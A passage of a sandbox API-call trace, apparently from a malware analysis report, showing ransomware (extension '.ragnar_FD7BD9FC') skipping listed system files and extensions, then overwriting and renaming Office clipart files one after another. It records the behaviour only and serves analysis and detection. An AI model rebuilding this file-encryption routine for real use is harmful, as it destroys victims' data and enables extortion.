"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.700] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13336) returned 1 [0084.700] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x340f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.700] GetProcessHeap () returned 0x580000 [0084.700] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.700] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.702] VirtualAlloc (lpAddress=0x0, dwSize=0x3418, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.702] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.702] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3418, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3418, lpOverlapped=0x0) returned 1 [0084.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.703] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3418, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.703] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3418, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3418, lpOverlapped=0x0) returned 1 [0084.703] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3418, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.703] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.703] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x3418, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.703] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.703] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.704] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.704] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.704] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.704] GetProcessHeap () returned 0x580000 [0084.704] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.704] CloseHandle (hObject=0xf4) returned 1 [0084.704] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" [0084.704] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ragnar_FD7BD9FC" [0084.704] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151073.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151073.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.705] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0151581.WMF", cAlternateFileName="")) returned 1 [0084.705] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.705] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0151581.WMF" | out: lpString1="J0151581.WMF") returned="J0151581.WMF" [0084.705] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned=".WMF" [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="autorun.inf") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="boot.ini") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="bootfont.bin") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="bootsect.bak") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="bootmgr") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="bootmgr.efi") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="bootmgfw.efi") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="desktop.ini") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="iconcache.db") returned 1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="ntldr") returned -1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="ntuser.dat") returned -1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="ntuser.dat.log") returned -1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="ntuser.ini") returned -1 [0084.705] lstrcmpiW (lpString1="J0151581.WMF", lpString2="thumbs.db") returned -1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.705] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf")) returned 0x20 [0084.706] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.706] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=10752) returned 1 [0084.706] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x29f7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.706] GetProcessHeap () returned 0x580000 [0084.706] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.707] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.708] VirtualAlloc (lpAddress=0x0, dwSize=0x2a00, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.708] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.708] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x2a00, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x2a00, lpOverlapped=0x0) returned 1 [0084.709] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.709] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2a00, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.709] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x2a00, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x2a00, lpOverlapped=0x0) returned 1 [0084.709] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2a00, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.710] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.710] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x2a00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.710] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.710] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.710] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.710] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.710] GetProcessHeap () returned 0x580000 [0084.710] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.710] CloseHandle (hObject=0xf4) returned 1 [0084.710] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" [0084.710] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ragnar_FD7BD9FC" [0084.710] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0151581.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0151581.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.711] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5642c4d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x610c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152414.WMF", cAlternateFileName="")) returned 1 [0084.711] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.711] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152414.WMF" | out: lpString1="J0152414.WMF") returned="J0152414.WMF" [0084.711] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned=".WMF" [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="autorun.inf") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="boot.ini") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="bootfont.bin") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="bootsect.bak") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="bootmgr") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="bootmgr.efi") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="bootmgfw.efi") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="desktop.ini") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="iconcache.db") returned 1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="ntldr") returned -1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="ntuser.dat") returned -1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="ntuser.dat.log") returned -1 [0084.711] lstrcmpiW (lpString1="J0152414.WMF", lpString2="ntuser.ini") returned -1 [0084.712] lstrcmpiW (lpString1="J0152414.WMF", lpString2="thumbs.db") returned -1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.712] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.712] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf")) returned 0x20 [0084.712] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.712] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24844) returned 1 [0084.712] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x6103, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.712] GetProcessHeap () returned 0x580000 [0084.712] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.712] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.714] VirtualAlloc (lpAddress=0x0, dwSize=0x610c, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.714] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0084.714] ReadFile (in: hFile=0xf4, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x610c, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x610c, lpOverlapped=0x0) returned 1 [0084.715] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0084.715] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x610c, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.715] WriteFile (in: hFile=0xf4, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x610c, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x610c, lpOverlapped=0x0) returned 1 [0084.716] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x610c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.716] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0084.716] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x610c, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.716] LockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0084.716] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0xf4, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0084.716] WriteFile (in: hFile=0xf4, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0084.716] UnlockFile (hFile=0xf4, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0084.716] GetProcessHeap () returned 0x580000 [0084.716] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0084.716] CloseHandle (hObject=0xf4) returned 1 [0084.717] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" [0084.717] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ragnar_FD7BD9FC" [0084.717] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152414.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152414.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0084.717] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65f4d5d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0152430.WMF", cAlternateFileName="")) returned 1 [0084.717] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x3a [0084.717] lstrcpyW (in: lpString1=0x1eb62e, lpString2="J0152430.WMF" | out: lpString1="J0152430.WMF") returned="J0152430.WMF" [0084.717] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF") returned=".WMF" [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="autorun.inf") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="boot.ini") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="bootfont.bin") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="bootsect.bak") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="bootmgr") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="bootmgr.efi") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="bootmgfw.efi") returned 1 [0084.717] lstrcmpiW (lpString1="J0152430.WMF", lpString2="desktop.ini") returned 1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="iconcache.db") returned 1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="ntldr") returned -1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="ntuser.dat") returned -1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="ntuser.dat.log") returned -1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="ntuser.ini") returned -1 [0084.718] lstrcmpiW (lpString1="J0152430.WMF", lpString2="thumbs.db") returned -1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0084.718] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0084.718] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf")) returned 0x20 [0084.719] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152430.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152430.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xf4 [0084.719] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=14132) returned 1 [0084.719] SetFilePointerEx (in: hFile=0xf4, liDistanceToMove=0x372b, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.719] GetProcessHeap () returned 0x580000 [0084.719] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0084.719] ReadFile (in: hFile=0xf4, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0084.721] VirtualAlloc (lpAddress=0x0, dwSize=0x3734, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0084.721] 